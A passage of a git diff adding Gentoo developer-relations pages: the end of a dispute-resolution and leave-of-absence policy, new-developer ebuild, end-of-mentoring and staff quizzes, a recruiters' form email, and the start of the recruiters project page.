+confined to a window of 4 weeks. If mediation has not proven successful by this
+time, regardless of reason, the issue will be escalated to Developer Relations
+for a vote.
+</p>
+
+<p>
+Disputes between developers are first assigned to a member of the Developer 
+Relations team for mediation. This step may be omitted only upon unanimous 
+agreement among the mediation members, and only if no such member has already 
+attempted mediation as described above. A bug is not required for mediation; 
+however a bug is required if mediation efforts have failed or are not 
+applicable.
+</p>
+
+<p>
+Complaints that do not require mediation per se are dealt with exclusively by a
+vote of the Developer Relations team. Problems for which mediation has been 
+unsuccessful are also escalated to a vote of the Developer Relations team.
+</p>
+
+<p>
+In either case, once a complaint reaches the need for a vote the parties 
+involved in the escalation and the mediator are given three days to supply 
+Developer Relations with information on the matter. While information exchange 
+cannot be forced, it does not indicate the matter is dropped, nor the vote 
+cancelled, if any party does not provide information within three days. After 
+the third day, the Developer Relations team is given two weeks to vote on the 
+matter. The two week period allows members of Developer Relations to ask 
+questions to either party as applicable. The Mediator to the issue is not 
+excluded from voting. The Developer Relations Lead may only cast a vote if a 
+tie-break is needed.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>The Process for the Resolution Conflicts</title>
+<body>
+
+<p>
+Developer Relations includes a team of Mediators dedicated to resolving 
+disputes covered by this policy. Should such mediation fail, Developer 
+Relations will vote to resolve the issue. The information regarding the issue 
+will be presented by each involved party as well as the Mediator involved, if 
+applicable. 
+</p>
+
+<p>
+Each party is given three days to present information on the issue, at the end 
+of the third day the team will review the information regarding the issue and 
+vote on a resolution. The team will decide which information presented is valid
+for the current case and disregard information which is deemed invalid or not 
+applicable to the current case.
+</p>
+
+<p>
+All members of Developer Relations have one vote to determine the appropriate 
+disciplinary action; all votes must be received within 14 days. For the voting 
+to be valid it requires a simple majority of all Developer Relations members to
+vote in a particular direction. 
+</p>
+
+<p>
+To illustrate this, if there are currently 12 members in the Developer 
+Relations project then at least 7 members must vote in a particular direction. 
+This does not mean that all 12 members must vote, just that the majority of the
+team must vote in a one direction, making it unnecessary for the remaining 5 
+members to vote as they would have already been over ruled by the majority 
+vote. If the vote is split 50/50, the Developer Relations Lead will cast the 
+deciding vote.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Resolution and Appeal</title>
+<body>
+
+<p>
+Any party to a dispute resolved by Developer Relations may appeal the 
+resolution to Council. No other developer may appeal.
+</p>
+
+<p>
+Council may decide to override the Developer Relations decision, this decision 
+would be reached by majority vote within Council, in which case the Council 
+decision would be respected and adhered. Repeat offenses for the same action 
+would be treated as such, resulting in review of possible disciplinary actions 
+at the discretion of Developer Relations with the appeal process being the same.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Ethical Considerations</title>
+<body>
+
+<p>
+If a party to a dispute is also a member of Developer Relations, that person 
+may have no role in the dispute resolution process except as a party; 
+forfeiting their vote if a Developer Relations vote is held. It is the 
+responsibility of that person to immediately inform Developer Relations of the 
+conflict. The only way a conflict of interest is applicable is when a person 
+involved in the mediation/resolution process is also involved in the conflict. 
+As developers, we are entrusted to make decisions in the best interest of 
+Gentoo and set aside personal interest for the best interest of Gentoo as a 
+whole.
+</p>
+
+<p>
+Complaints raised about any member of Developer Relations may be raised to the 
+Developer Relations lead(s) or to Developer Relations via 
+<mail>devrel@gentoo.org</mail> for discussion at any time; a meeting may be 
+called to discuss the matter further, up to and including to vote to remove 
+members.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Miscellany</title>
+<section>
+<title>Leaves of Absence</title>
+<body>
+
+<p>
+Often Gentoo developers go away on vacation, have to take a
+short leave for University exams, or even go on a honeymoon. While
+we applaud you for having a life outside Gentoo, we would like to
+know when you leave and when you are expected to return.  When
+you leave, alert your immediate development group as well as
+making a devaway entry.
+</p>
+
+<p>
+You need to create a file called <path>.away</path> in
+your <path>/home/you</path> directory.  This file will contain the
+details of your absence and will be reflected
+at <uri link="http://www.gentoo.org/proj/en/devrel/roll-call/devaway.xml">the devaway site</uri>.
+That page is updated once every hour.  Upon your return, simply delete
+the <path>.away</path> file from your home directory.
+</p>
+
+<p>
+An extended leave of absence is defined as inactivity for any period
+of time longer than 60 days. Access to Gentoo infrastructure will very
+likely be disabled during this time for security reasons. This means
+that access to CVS and shell access to dev will be affected -- email
+will likely not.  If developer relations is not made aware prior to an
+extended period of inactivity, after 60 days the developer will be
+considered retired and any return will be at the discretion of the
+developer relations lead(s) and the relevant project manager, if
+applicable.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Post-retirement</title>
+<body>
+
+<p>
+Retired developers will have their gentoo.org email address removed from Gentoo
+mailing lists to prevent mail bounces. Retired developers are responsible for
+resubscribing to public lists with a non-Gentoo email address. 
+</p>
+
+<ul>
+<li>Retired developers get their @gentoo.org mail forwarded for a number of
+months equal to the number of years they've been an official developer rounded
+up.</li>
+<li>Mail will be forwarded for a maximum of 6 months.</li>
+</ul>
+
+<p>
+This policy makes sure all devs will have a minimum of 1 months forwarding
+matching existing policy. And a dev that's been around for ~3 years will have
+3-4 months to get personal mail moved to a non gentoo.org account.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/devrel/quiz/ChangeLog b/xml/htdocs/proj/en/devrel/quiz/ChangeLog
new file mode 100644
index 00000000..9bfe8fd8
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/quiz/ChangeLog
@@ -0,0 +1,19 @@
+# $Id: ChangeLog,v 1.5 2006/01/07 03:01:11 avenj Exp $
+
+ebuild-quiz.txt 06 Jan 2006 avenj@gentoo.org :
+	Minor wording fix, bug 117957
+
+staff-quiz.txt ebuild-quiz.txt 16 Sep 2005 avenj@gentoo.org :
+	Updated to fit with the new Gentoo Council rather than the old
+	manager's team.
+
+end-quiz.txt 06 Jan 2005 avenj@gentoo.org :
+	Updates requested by ciaranm, including:
+	- (2) remove the word 'three'
+	- (6) s/wrong/incorrect
+	- (6e) fix unclear wording
+	- (6f) fix unclear wording
+	- added 6g
+	- (11) fix unclear wording to avoid confuse between env.d and conf.d
+	- (12) s/system-generated/application-generated non-temporary
+	- Remove dead link to ciaranm's bash quiz
diff --git a/xml/htdocs/proj/en/devrel/quiz/ebuild-quiz.txt b/xml/htdocs/proj/en/devrel/quiz/ebuild-quiz.txt
new file mode 100644
index 00000000..201f7d3a
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/quiz/ebuild-quiz.txt
@@ -0,0 +1,209 @@
+Ebuild development quiz
+Revision 1.8 - 29 September 2009
+Answer in whatever length necessary for completeness.
+Review documentation. Consult your mentor if you're unable to locate answers.
+
+*** Organizational structure questions
+
+1.	When is it appropriate to post to the following mailing lists: gentoo-core,
+	gentoo-dev, gentoo-dev-announce, gentoo-project?
+
+docs: gentoo.org
+
+2.	Who should be contacted with complaints about specific developers or
+	projects?
+
+docs: devrel policy
+
+3.	What is the proper method for suggesting a wide-ranging feature or
+	enhancement to Gentoo? Describe the process for getting this feature
+	approved and implemented.
+
+docs: GLEPs
+
+4.	What is the purpose of the Gentoo Council?
+
+docs: GLEPs
+
+5.	What is the Gentoo Foundation? How does one apply for membership and
+	who are eligible?
+
+docs: gentoo.org
+
+6.	What is the purpose of the Gentoo project structure?
+
+docs: GLEPs
+
+7.	Who can start new Gentoo projects and how is it done?
+
+docs: GLEPs
+
+8.	What is the purpose of herds?
+
+docs: devmanual
+
+9.	What is the devaway system?
+
+docs: handbook
+
+
+*** Ebuild technical/policy questions
+
+1.	You change a package's ebuild to install an init script. Previously,
+	the package had no init script at all.
+	Is a revision bump necessary? Why? What about when adding a patch?
+
+docs: devmanual
+
+2.	A user submits a "live" CVS ebuild. What would be a preferable
+	alternative to such an ebuild?
+
+docs: handbook
+
+3.	(a) What is repoman? How would you check for QA problems with
+	repoman?
+
+docs: handbook
+
+	(b) A user submits a brand-new ebuild for a new package. What are the
+	proper steps (including repoman/cvs commands) to take to add
+	this ebuild to the tree?
+
+docs: handbook
+
+4.	A user submits an ebuild that has numerous technical problems and
+	violates policy. How would you handle that situation?
+
+docs: handbook
+
+5.	You have a set of new ebuilds that could potentially benefit
+	from a global USE flag. What steps should be taken before
+	a new USE flag is implemented? What should be done if the
+	USE flag only applies to a single package?
+
+docs: devmanual
+
+6.	What steps are needed to remove a use flag from IUSE in an ebuild?
+
+docs:
+
+7.	You're creating an ebuild. Unfortunately, the ebuild's 'make install'
+	target causes numerous access violations. What is the best
+	course of action to take to have a clean, straightforward
+	ebuild?
+
+docs: devmanual
+
+8.	You're creating an ebuild that needs a patch. The patch is
+	nontrivially large - bigger than 20kbytes. Where should
+	the patch be kept?
+
+docs: devmanual
+
+9.	You're creating an ebuild that has its own license - one that
+	doesn't exist in /usr/portage/licenses/. What is the proper
+	course of action?
+
+docs: GLEPs, devmanual
+
+10.	(a) You wish to have an ebuild marked "stable," taking it out of
+	~ARCH KEYWORDS. It's a library. What steps should be taken to do so?
+
+docs: devmanual
+
+	(b) You wish to mark an ebuild "testing," putting it into ~ARCH
+	KEYWORDS. It was previously hard-masked in package.mask.
+	What should be done prior to doing so?
+
+docs: handbook
+
+	(c) You wish to have an ebuild marked "stable." It is a popular
+	application, but no other ebuilds depend on it.
+	What should be done first?
+
+docs: devmanual
+
+11.	You're committing a user-submitted ebuild. What should be in the
+	initial ChangeLog?
+
+docs: devmanual
+
+12.	What is the difference between DEPEND and RDEPEND?
+
+docs: devmanual
+
+13.	You wish to make a change to an ebuild, but you checked
+	ChangeLogs and metadata.xml and it appears to be maintained by
+	someone else. How should you proceed?
+
+docs:
+
+14.	You find a situation in which an eclass may be useful. What should
+	you do before implementing such an eclass?
+
+docs: devmanual
+
+15.	You find a package that will not build on some architectures without
+	PIC (-fPIC) code in the shared libraries. What is the proper way
+	to handle this situation?
+
+docs: devmanual,pic-guide
+
+16.	How can you verify an ebuild has correct run time dependencies
+	(RDEPEND) for all installed binaries?
+
+docs: handbook
+
+17.	How do you deal with a situation in which an ebuild wishes to
+	install a file already installed by another package?
+
+docs: handbook
+
+18.	Most configure scripts attempt to automatically determine
+	settings based on the host system. When should the ebuild
+	specifically override settings?
+
+docs: devmanual
+
+19.	What is EAPI?
+
+docs: devmanual, PMS
+
+20.	What is the procedure for removing packages from the tree?
+
+docs: handbook
+
+21.	How do keywording policies for less often used arches like ia64 or
+	mips differ from the more common ones like amd64?
+
+docs: devmanual
+
+22.	You are adding a new major version to the tree that requires users to
+	follow an upgrade guide. How will you communicate this to the users?
+
+docs: GLEPs
+
+*** Please also submit the following information:
+
+*	GPG public key ID (if you do not have one, please create one)
+	You should sign your quizzes with your key
+	http://www.gentoo.org/doc/en/gnupg-user.xml
+
+*	SSH DSA public key (if you do not have one, please create one)
+	http://www.gentoo.org/proj/en/infrastructure/cvs-sshkeys.xml
+	If you don't paste your key inline, make sure it's signed by your
+	gpg key.
+
+*	Date of birth
+
+*	Where do you live (Town/City, Country)
+
+*	What are your programming/scripting skills, if applicable?
+
+*	What other areas are you experienced in?
+
+*	What other projects have you contributed to, if any?
+
+*	Tell us about yourself. This doesn't need to be strictly
+	computer-relevant; things like where you're from,
+	hobbies, job, family, interests...
diff --git a/xml/htdocs/proj/en/devrel/quiz/end-quiz.txt b/xml/htdocs/proj/en/devrel/quiz/end-quiz.txt
new file mode 100644
index 00000000..68c3f0b0
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/quiz/end-quiz.txt
@@ -0,0 +1,169 @@
+Ebuild development (end of mentoring) quiz
+Revision 1.4.1 - 23 Mar 2010
+Answer in whatever length necessary for completeness.
+Review documentation. Consult your mentor if you're unable to locate answers.
+This quiz is based largely on ciaranm's bash quiz -- much thanks to 
+him for the original and for extensive helpful feedback.
+
+1. You are writing an ebuild for the foomatic package. Upstream calls 
+	the current version "1.3-7b" (but this is _not_ a beta release).
+	How would the ebuild be named? What's wrong with the ebuild
+	snippet below and how should this be written to aid
+	maintainability?
+
+  SRC_URI="http://foomatic.example.com/download/foomatic-1.3-7b.tar.bz2"
+  S=${WORKDIR}/foomatic-1.3-7b
+
+docs: devmanual
+
+2. You have a patch for foomatic which enables SSL support that is optional
+   at build time. Assuming that foomatic uses an autotools based build system
+   provide most probable changes required in an EAPI="0" ebuild. What should
+   be done for the ebuild in case it uses EAPI="2"?
+
+docs: devmanual
+
+3. What's the difference between local and global scope in an ebuild?
+
+docs: handbook
+
+4. Why should an external application (for example sed/grep) not be
+	called in global scope? What alternative methods can be used?
+
+docs: devmanual
+
+5. What is wrong with using $(somecommand) or `somecommand` or $ARCH
+	inside SRC_URI, DEPEND, etc?
+
+docs: devmanual
+
+6. Explain what's incorrect about the following code snippets and suggest
+	an alternative.
+
+6.a
+  # This ebuild doesn't like the -mcpu=ultrasparc CFLAG, so drop to v9
+  CFLAGS=${CFLAGS/-mcpu=ultrasparc/-mcpu=v9}
+
+docs: devmanual
+
+6.b
+  # Upstream don't support user-specified CFLAGS
+  unset CFLAGS
+
+docs: devmanual
+
+6.c
+  # Extra settings for when SSL is enabled
+  if [ "`use ssl `" ] ; then
+	# blah
+  fi
+
+docs: devmanual
+
+6.d
+  # Extra options for configure
+  use jpeg && myconf="--enable-jpeg" \
+	|| myconf="--disable-jpeg"
+  use png && myconf="${myconf} --enable-png" \
+	|| myconf="${myconf} --disable-png"
+  use gif && myconf="${myconf} --enable-gif89a" \
+	|| myconf="${myconf} --disable-gif89a"
+  econf ${myconf}
+
+docs: devmanual
+
+6.e
+  # If we USE foo, we need to DEPEND upon libfoo. Unfortunately
+  # foo is completely broken on some archs
+  DEPEND="!x86? ( !amd64? ( !ppc? ( foo? ( >=dev-libs/libfoo-1.2 ) ) ) )"
+
+docs: devmanual
+
+6.f
+  # If USE=fnord is enabled, make extra targets:
+  use fnord && ( emake fnordification || die "it broke" )
+
+docs: devmanual
+
+7. Explain briefly the purpose of the following tools:
+	grep, cut, sed, cat, wc, awk
+
+docs: devmanual
+
+8. Why are 'head -5' and 'tail -5' bad? What should be used instead?
+
+docs:
+
+9. You're writing an ebuild and init script for a server application 
+	that needs networking to be available when started and can also
+	use a system logger if one is available. How should this be
+	written in the init script?
+
+docs: devmanual
+
+10. What is the 'Gentoo Way' of allowing the user to pass other options
+	to the previously mentioned server application?
+
+docs: devmanual
+
+11. What is the 'Gentoo Way' of globally setting environment variables
+	for all users?
+
+docs: devmanual
+
+12. What directory should be used for application-generated 
+	non-temporary data?
+
+docs: devmanual
+
+13. Which directory should manual (man) pages be in and how should they 
+	be installed from an ebuild?
+
+docs: handbook
+
+14. On Gentoo Linux systems, what is the purpose of /usr/local/bin?
+
+docs: devmanual
+
+15. When should you use || die "msg" with commands/functions?
+    Could || die always be moved inside those functions/commands?
+
+docs: devmanual
+
+16. You are committing a new package to the tree. What will you have in 
+	the KEYWORDS variable?
+
+docs: devmanual
+
+17. You are bumping foomatic's ebuild from version 1.2 to version 
+	1.3. The new release contains bugfixes and new
+	functionality. The current KEYWORDS for 1.2 are
+	"x86 sparc ~mips amd64" -- what will KEYWORDS be for
+	the new 1.3 ebuild?
+
+docs: devmanual
+
+18. You are bumping foomatic's ebuild from version 1.3 to 1.4. The
+	new release extends functionality and introduces a new
+	dependency on libfnord version 1.2 or later. The
+	KEYWORDS for foomatic-1.3 are "x86 sparc ~mips amd64"
+	and the KEYWORDS for libfnord-1.2 are "x86 ~sparc" --
+	what will you do?
+
+docs: devmanual
+
+19. You are bumping foomatic's ebuild from version 1.4 to 1.5. This
+	release introduces new optional support for the libgerbil
+	library, which you are controlling via the gerbil global
+	USE flag. Unfortunately libgerbil is full of code which
+	doesn't work properly on big endian systems, and so has
+	"-sparc -mips" in the KEYWORDS. How will you handle this?
+
+docs: devmanual
+
+20. You are bumping foomatic's ebuild from version 1.5 to version
+	2.0. This new version is a massive rewrite which introduces
+	huge changes to the build system, the required libraries
+	and how the code works. What will you do for KEYWORDS here?
+
+docs: devmanual
diff --git a/xml/htdocs/proj/en/devrel/quiz/index.xml b/xml/htdocs/proj/en/devrel/quiz/index.xml
new file mode 100644
index 00000000..4afbe4ae
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/quiz/index.xml
@@ -0,0 +1,82 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/devrel/quiz/index.xml">
+
+<title>New developer quiz</title>
+<author title="Author">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+
+<abstract>Instructions for new developers</abstract>
+
+<version>1.1.2</version>
+<date>2009-06-14</date>
+
+<chapter>
+<title>Quiz selection</title>
+<section>
+<title>Introduction</title>
+<body>		
+<p>
+These questions are intended to ensure a deep understanding of Gentoo as a whole
+and specific development situations that you will likely encounter during your
+time as	a Gentoo developer. It's perfectly acceptable to ask your mentor or
+other knowledgeable individuals for assistance. When completed, answers should
+be mailed to <mail link="recruiters@gentoo.org">recruiters</mail> along with
+other items mentioned on
+<uri>http://www.gentoo.org/proj/en/devrel/recruiters/index.xml</uri>.
+</p>
+</body>
+</section>
+<section>
+<title>Quiz selection</title>
+<body>
+<p>
+Developers who will have commit access to the Portage tree and/or will be
+performing ebuild development or maintenance tasks should take the <uri
+link="ebuild-quiz.txt">ebuild quiz</uri>. Once the mentoring period is
+completed (or during the mentoring period, at the developer's option) the
+developer must also submit the <uri link="end-quiz.txt">end of mentoring
+quiz</uri>.
+</p>
+<p>
+Developers who will be strictly working on infrastructure, GLSAs, or other
+non-ebuild areas of the project and will not have commit access to the Portage
+tree should take the <uri link="staff-quiz.txt">staff quiz</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Quiz-relevant documentation</title>
+<section>
+<title>Project-wide documentation</title>
+<body>
+<p>Gentoo Developer Handbook: <uri>http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml</uri></p>
+<p>Gentoo Development Guide: <uri>http://devmanual.gentoo.org/</uri></p>
+</body>
+</section>
+<section>
+<title>Developer relations documentation</title>
+<body>
+<p>DevRel policy: <uri>http://www.gentoo.org/proj/en/devrel/policy.xml</uri></p>
+</body>
+</section>
+<section>
+<title>Metastructure documentation</title>
+<body>
+<p>Herds project: <uri>http://www.gentoo.org/proj/en/metastructure/herds/index.xml</uri></p>
+<p>GLEP project: <uri>http://www.gentoo.org/proj/en/glep/index.xml</uri></p>
+<p>TLP listing: <uri>http://www.gentoo.org/proj/en/metastructure/projects.xml</uri></p>
+</body>
+</section>
+<section>
+<title>Miscellaneous documentation</title>
+<body>
+<p>Setting up and accessing your dev email: <uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri></p>
+<p>GnuPG guide: <uri>http://www.gentoo.org/doc/en/gnupg-user.xml</uri></p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/devrel/quiz/staff-quiz.txt b/xml/htdocs/proj/en/devrel/quiz/staff-quiz.txt
new file mode 100644
index 00000000..348edf9e
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/quiz/staff-quiz.txt
@@ -0,0 +1,82 @@
+Non-ebuild staff quiz
+Revision 1.6 - 24 April 2010
+Answer in whatever length necessary for completeness.
+Review documentation. Consult your mentor if you're unable to locate answers.
+
+*** Organizational structure & policy questions
+
+1. When is it appropriate to post to the following mailing lists: gentoo-core,
+	gentoo-dev, gentoo-dev-announce, gentoo-project?
+
+docs: gentoo.org
+
+2. Who should be contacted with complaints about specific developers or
+	projects?
+
+docs: devrel policy
+
+3. What is the proper method for suggesting a wide-ranging feature or
+	enhancement to Gentoo? Describe the process for getting this feature
+   approved and implemented.
+
+docs: GLEPs
+
+4. What is the purpose of the Gentoo Council?
+
+docs: GLEPs
+
+5. What is the Gentoo Foundation? How does one apply for membership and
+   who are eligible?
+
+docs: gentoo.org
+
+6. What is the purpose of the Gentoo project structure?
+
+docs: GLEPs
+
+7. Who can start new Gentoo projects and how is it done?
+
+docs: GLEPs
+
+8. What is the purpose of herds?
+
+docs: devmanual
+
+9. What is the purpose of ~ARCH?
+
+docs: devmanual
+
+10. Does a Gentoo user need to be aware of EAPI (justify)?
+
+docs:
+
+11. When should package.mask be used?
+
+docs: devmanual
+
+12. What is the devaway system?
+
+docs: developer handbook
+
+*** Please also submit the following information:
+
+* GPG public key ID (if you do not have one, please create one)
+  You should sign your quizzes with your key
+  http://www.gentoo.org/doc/en/gnupg-user.xml
+
+* SSH DSA public key (if you do not have one, please create one)
+  http://www.gentoo.org/proj/en/infrastructure/cvs-sshkeys.xml
+
+* Date of birth
+
+* Where do you live (Town/City, Country)
+
+* What are your programming/scripting skills, if applicable?
+
+* What other areas are you experienced in?
+
+* What other projects have you contributed to, if any?
+
+* Tell us about yourself. This doesn't need to be strictly 
+   computer-relevant; things like where you're from,
+   hobbies, job, family, interests...
diff --git a/xml/htdocs/proj/en/devrel/recruiters/default-recruiters-email.txt b/xml/htdocs/proj/en/devrel/recruiters/default-recruiters-email.txt
new file mode 100644
index 00000000..44702bb2
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/recruiters/default-recruiters-email.txt
@@ -0,0 +1,33 @@
+Thanks for your interest.
+
+We are very actively looking for interested people. You can start contributing right now if you want. Two good ways to start are proposing solutions for bugs [1] and contributing to an overlay [2] be it a general overlay like Sunrise[3] or project specific overlays like KDE[4], GNOME[5] or Science[6]. There is more information on how to get involved with overlay development at [7]. You may also want to have a look at the staffing needs page [8].
+
+If you have written ebuilds, feel free to submit them to bugzilla [1] or sunrise [3]. This way we can all see them and help you make them better. Also, you never know, some developer may like what you did and commit it to the main tree. Note that we're all very busy so we may not react to your bugs, but that should not prevent you from filing them. Bugzilla is also used for documenting work that needs to be done and following up on it, so if the bugs sit there even if nobody reacts it's already useful.
+
+You will need to read the Gentoo Documentation Resources [9], and more specifically the Gentoo Developer Handbook [10] and the Gentoo Development Guide [11].
+
+Another way to help, especially for non-technical projects, is to contact people directly [12]. Be aware that they can be away though, so be patient, try others on the same project, and finally get back to us in case you fail to reach anybody. You may also want to look at what mailing lists are of interest to you [13] and browse through the archives [14] to learn what is going on.
+
+Training new developers takes a lot of time and effort so we don't recruit as much as we would like and need. Before you can enter the recruiting process though, you'll need to show what you can do. We do this for many reasons but mainly because it shows your commitment to Gentoo (since training takes so much time we favor people who we know will stay), it shows what your interests are (you'll need to find a mentor with the same interests to start your training) and it tells us how much and what kind of training you need.
+
+So, start filing and more importantly fixing bugs, submit ebuilds, be active on our irc channels and mailing lists, and at some point you'll get noticed. When a developer notices you, (s)he may ask you to join an arch testing team, an herd or offer to mentor you. When you think your work is significant enough and you find out that nobody notices you when they should be, feel free to contact us again and we'll try and arrange the situation.
+
+Are there any particular areas that interest you? Have you tried to join any project's irc channels[15]? Sometimes the best way to get a mentor is through direct contact with devs - be it through bugzilla, mls or irc.
+
+Do not hesitate to contact recruiters in the future in case you need more information.
+
+ [1] - http://bugs.gentoo.org/
+ [2] - http://overlays.gentoo.org/
+ [3] - http://overlays.gentoo.org/proj/sunrise/
+ [4] - http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=summary
+ [5] - http://git.overlays.gentoo.org/gitweb/?p=proj/gnome.git;a=summary
+ [6] - http://git.overlays.gentoo.org/gitweb/?p=proj/sci.git;a=summary
+ [7] - http://www.gentoo.org/proj/en/overlays/userguide.xml#doc_chap3
+ [8] - http://www.gentoo.org/proj/en/devrel/staffing-needs/
+ [9] - http://www.gentoo.org/doc/en/index.xml?catid=gentoodev
+[10] - http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml
+[11] - http://devmanual.gentoo.org/
+[12] - http://www.gentoo.org/proj/en/index.xml?showlevel=2
+[13] - http://www.gentoo.org/main/en/lists.xml
+[14] - http://archives.gentoo.org/
+[15] - http://www.gentoo.org/main/en/irc.xml
diff --git a/xml/htdocs/proj/en/devrel/recruiters/index.xml b/xml/htdocs/proj/en/devrel/recruiters/index.xml
new file mode 100644
index 00000000..58d6db32
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/recruiters/index.xml
@@ -0,0 +1,490 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/devrel/recruiters/index.xml,v 1.81 2010/06/21 21:33:15 betelgeuse Exp $ -->
+
+<project>
+<name>recruiters</name>
+<longname>Gentoo Developer Recruiters</longname>
+
+<date>2010-04-30</date>
+
+<author title="Author">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Author">
+  <mail link="dmwaters@gentoo.org">Deedra M. Waters</mail>
+</author>
+<author title="Author">
+  <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Author">
+  <mail link="calchan@gentoo.org">Denis Dupeyron</mail>
+</author>
+
+<description>
+The recruiters subproject provides a central location for information about
+developer recruitment and recruiter policy.
+</description>
+
+<longdescription><p>
+Gentoo's true strength is its impressive and constantly evolving developer base.
+It's the job of recruiters to manage the growth of the development team by
+locating, approving, and managing new developers to add further innovative
+talent to our already strong organization.
+</p></longdescription>
+
+<extraproject name="Staffing Needs" lead="Gentoo Recruiters Team">
+The <uri link="/proj/en/devrel/staffing-needs/index.xml">Staffing Needs</uri>
+page lists openings for new and existing developers.
+</extraproject>
+<extraproject name="Mentoring Guide" lead="Gentoo Recruiters Team">
+The <uri link="/proj/en/devrel/recruiters/mentor.xml">Mentoring Guide</uri>
+gives information for mentors of new recruiters.
+</extraproject>
+
+<dev role="lead">betelgeuse</dev>
+<dev description="recruiter">calchan</dev>
+<dev description="recruiter">keytoaster</dev>
+<dev description="recruiter">pva</dev>
+<dev description="recruiter">tommy</dev>
+<dev description="mail replies">jmbsvicetto</dev>
+
+<extrachapter>
+<title>What does it take to be a recruiter?</title>
+<section>
+<body>
+
+<p>
+Recruiters need to possess several talents in order to successfully oversee
+additions to the development team.  First and foremost, a recruiter needs to be
+a good judge of character. While most new developer sponsors pick only the best
+candidates, there have been and will be occasional duds. Recruiters need to be
+able to analyze an individual's background, experience, and past contributions,
+then use that information to decide whether or not to accept a developer.
+Recruiters also need to be aware of the big picture in order to recognize
+weaknesses in the organization and accept developers who will shore up those
+weaknesses.  Remember, recruiters always have the final say on new developers.
+Never be afraid to say no, but always offer a detailed explanation of the
+decision.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>What does the recruitment process involve?</title>
+<section>
+<body>
+
+<p>
+All new developers must have a mentor. This mentor will be responsible for
+guiding the new developer through the new developer process and offering help to
+the developer futurely. Mentors should assist by pointing the new developer to
+developer-related documentation, answering questions, and explaining the ins and
+outs of working for Gentoo as much as possible.
+</p>
+
+<p>
+A bug must be filed for each new developer. The bug summary should be 'New
+Developer (real name) (nickname).' The bug must contain the new developer's real
+name, email address, and reason for joining the project.  Real names must be
+provided for all developers, including infrastructure and documentation. Any
+exceptions to this for extenuating circumstances will be considered on a
+case-by-case basis. No exceptions will be made for people doing copyrightable
+work (ebuilds, software, scripts, documentation, etc.).  The bug should also
+contain who the new developer's mentors will be and any other information the
+mentor wishes to provide. Please do not attach quiz answers or encryption keys
+to the bug -- these should be emailed to recruiters.  The new developer and all
+mentors should be CCed on the bug to keep everybody in the loop.
+</p>
+
+<p>
+A developer's bug tracks his progress throughout his lifetime at Gentoo.  If the
+developer retires, the initial recruitment bug is used to track all the things
+that must be done to retire a dev. If the developer later returns, the same
+initial recruitment bug is used to track it.  Returning developers are subject
+to the same criteria as a first-time developer and must go through the same
+steps to rejoin Gentoo.
+</p>
+
+<p>
+The new developer will have a mentoring and evaluation period of up to a month.
+This will be determined by the recruiter based on feedback from the mentor.
+During this mentoring period, the mentor is responsible for providing the <uri
+link="http://www.gentoo.org/proj/en/devrel/quiz">quiz</uri>.  <!--  <uri
+link="http://www.gentoo.org/proj/en/devrel/copyright">copyright</uri> document
+to the new developer.  Copyright documents should be signed, scanned, and sent
+to recruiters, or optionally GPG-signed. Hand signatures are preferred. See the
+copyright information page linked above for more information.--> Additionally,
+new developers should be responsive to questions from recruiters during this
+waiting period. If the new developer will be absent for significant periods of
+time during this period, the bug should be updated to reflect this. If a new
+developer is unresponsive to pings, recruiters will close the bug. Bugs closed
+under these circumstances may be reconsidered at a later time.
+</p>
+
+<p>
+Developers taking the quiz (linked above) should consult technical and policy
+documentation for answers. Mentors may provide as much assistance as needed.
+Along with the quiz <!--and copyright document-->, an OpenSSH SSH2 DSA public
+key for infrastructure access should be provided to recruiters.
+</p>
+
+<p>
+Developers working strictly on infrastructure, documentation, or bug-wranglers
+with no CVS access to the Portage tree typically do not need to take the ebuild
+quiz. Instead, a staff quiz is provided. See the <uri
+link="http://www.gentoo.org/proj/en/devrel/quiz">quiz page</uri> for more
+information.
+</p>
+
+<p>
+Recruiters may reject new developers if they feel it's appropriate.
+Additionally, for 30 days after joining, a new developer is considered to be in
+a 'probationary period' in which their mentor is responsible for actions taken
+by the new developer. This provides a certain level of accountability.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Stuff to remember</title>
+<section>
+<title>When adding yourself to a bug</title>
+<body>
+
+<p>
+I will be your recruiter. Please send your quizzes to recruiters@gentoo.org
+when approved by your mentor. Always add a comment to this bug when you send
+something to that address. When the quizzes are sent please contact me by IRC
+or email to schedule the first review session. If you think that recruiters
+aren't paying attention to this bug at any later point in time, it's your job
+to ping us on IRC if you don't want any delays.
+</p>
+
+</body>
+</section>
+<section>
+<title>For review session</title>
+<body>
+
+<p>
+I will go through your answers, find out errors and ask some extras related
